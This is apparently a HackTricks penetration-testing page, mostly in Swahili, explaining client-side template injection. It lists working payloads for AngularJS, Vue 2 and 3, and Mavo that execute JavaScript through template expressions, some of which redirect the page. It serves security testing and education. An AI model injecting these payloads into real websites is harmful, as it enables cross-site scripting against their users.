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107 lines
6.6 KiB
Markdown
107 lines
6.6 KiB
Markdown
# Client Side Template Injection (CSTI)
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{% hint style="success" %}
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Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
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* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
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</details>
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{% endhint %}
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## Summary
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Ni kama [**Server Side Template Injection**](ssti-server-side-template-injection/) lakini katika **mteja**. **SSTI** inaweza kukuruhusu **kutekeleza msimbo** kwenye seva ya mbali, **CSTI** inaweza kukuruhusu **kutekeleza msimbo wa JavaScript** wa kiholela katika kivinjari cha mwathirika.
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**Kujaribu** udhaifu huu ni **kama** ilivyo katika kesi ya **SSTI**, mfasiri anatarajia **kigezo** na atakitekeleza. Kwa mfano, kwa payload kama `{{ 7-7 }}`, ikiwa programu ina **udhaifu** utaona `0`, na ikiwa sivyo, utaona asili: `{{ 7-7 }}`
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## AngularJS
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AngularJS ni mfumo wa JavaScript unaotumika sana ambao unawasiliana na HTML kupitia sifa zinazojulikana kama maagizo, moja maarufu ikiwa **`ng-app`**. Agizo hili linaruhusu AngularJS kushughulikia maudhui ya HTML, na kuwezesha utekelezaji wa maelekezo ya JavaScript ndani ya mabano mawili ya curly.
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Katika hali ambapo input ya mtumiaji inaingizwa kwa nguvu katika mwili wa HTML ulio na lebo `ng-app`, inawezekana kutekeleza msimbo wa JavaScript wa kiholela. Hii inaweza kufikiwa kwa kutumia sintaksia ya AngularJS ndani ya input. Hapa chini kuna mifano inayoonyesha jinsi msimbo wa JavaScript unaweza kutekelezwa:
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```javascript
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{{$on.constructor('alert(1)')()}}
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{{constructor.constructor('alert(1)')()}}
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<input ng-focus=$event.view.alert('XSS')>
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<!-- Google Research - AngularJS -->
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<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
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```
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You can find a very **basic online example** of the vulnerability in **AngularJS** in [http://jsfiddle.net/2zs2yv7o/](http://jsfiddle.net/2zs2yv7o/) and in [**Burp Suite Academy**](https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression)
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{% hint style="danger" %}
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[**Angular 1.6 iliondoa sandbox**](http://blog.angularjs.org/2016/09/angular-16-expression-sandbox-removal.html) hivyo kutoka toleo hili payload kama `{{constructor.constructor('alert(1)')()}}` au `<input ng-focus=$event.view.alert('XSS')>` inapaswa kufanya kazi.
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{% endhint %}
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## VueJS
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You can find a **vulnerable Vue** implementation in [https://vue-client-side-template-injection-example.azu.now.sh/](https://vue-client-side-template-injection-example.azu.now.sh)\
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Working payload: [`https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor(%27alert(%22foo%22)%27)()%7D%`](https://vue-client-side-template-injection-example.azu.now.sh/?name=%7B%7Bthis.constructor.constructor\(%27alert\(%22foo%22\)%27\)\(\)%7D%7D)
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And the **source code** of the vulnerable example here: [https://github.com/azu/vue-client-side-template-injection-example](https://github.com/azu/vue-client-side-template-injection-example)
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```markup
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<!-- Google Research - Vue.js-->
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"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
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```
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A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
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### **V3**
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```
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{{_openBlock.constructor('alert(1)')()}}
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```
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Mwandiko: [Gareth Heyes, Lewis Ardern & PwnFunction](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
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### **V2**
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```
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{{constructor.constructor('alert(1)')()}}
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```
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Credit: [Mario Heiderich](https://twitter.com/cure53berlin)
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**Angalia zaidi VUE payloads katika** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#vuejs-reflected)
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## Mavo
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Payload:
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```
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[7*7]
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[(1,alert)(1)]
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<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
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[self.alert(1)]
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javascript:alert(1)%252f%252f..%252fcss-images
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[Omglol mod 1 mod self.alert (1) andlol]
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[''=''or self.alert(lol)]
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<a data-mv-if='1 or self.alert(1)'>test</a>
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<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
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<a href=[javascript&':alert(1)']>test</a>
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[self.alert(1)mod1]
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```
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**Zaidi ya payloads katika** [**https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations**](https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations)
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## **Orodha ya Ugunduzi wa Brute-Force**
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{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
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{% hint style="success" %}
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Jifunze & fanya mazoezi ya AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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Jifunze & fanya mazoezi ya GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>Support HackTricks</summary>
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* Angalia [**mpango wa usajili**](https://github.com/sponsors/carlospolop)!
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* **Jiunge na** 💬 [**kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuatilie** kwenye **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **Shiriki mbinu za hacking kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
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</details>
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{% endhint %}
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